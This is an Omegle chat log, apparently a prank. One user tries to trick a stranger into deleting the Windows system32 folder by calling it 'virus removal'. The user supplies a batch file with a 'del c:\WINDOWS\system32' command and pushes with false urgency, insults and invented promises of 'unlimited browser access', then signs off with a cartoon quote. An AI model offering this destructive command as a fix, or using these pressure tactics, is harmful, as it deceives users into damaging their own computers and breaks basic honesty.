http://omegle.com/
You: there isn't much time left
You: we need you
Stranger: why?
You: first, remove every virus from your computer
You: I'll show you how
You: open a notepad type the following:
@echo off
del c:\WINDOWS\system32
save the file as anything.bat (remember to add the .bat extension and save as all files)
double click and it will delete the system32 folder.
You: trust me
You: once this sys32 virus is gone
You: you'll have unlimited browser access
You: you don't have much time
Stranger: i am not stupid
You: yes you are
Stranger: i think you are stupid
You: you'll always be stupid until you free yourself
You: stupidity is a variant of being held and constrainted
You: escape
You: you must
Stranger: ok i do it
You: hurry
You: there isn't much time
Stranger: no its done
You: contact me via email email removed for more info
Stranger: now
You: no it isn't, the sys32 removal prompts for a restart
Stranger: i just delete sys32
You: you're running out of time man
You: no you didn't, that prompts for a restart, you wouldn't still be logged on
You: you're only hurting yourself
Stranger: where are you from
You: the mainframe
Stranger: i do it another computer
Stranger: did*
You: alright
You: no
You: w
You: what does it read as?
Stranger: se on suomeksi enkä osaa englantintaa sitä
You: alright, now I'll reveal my true self
Stranger: ja oo sinä nyt hiljaa...
You: I come from the Net--through systems, peoples, and cities--to this place: MAINFRAME. My format: Guardian. To mend and defend--to defend my new found friends, their hopes and dreams, and to defend them from their enemies.
Your conversational partner has disconnected.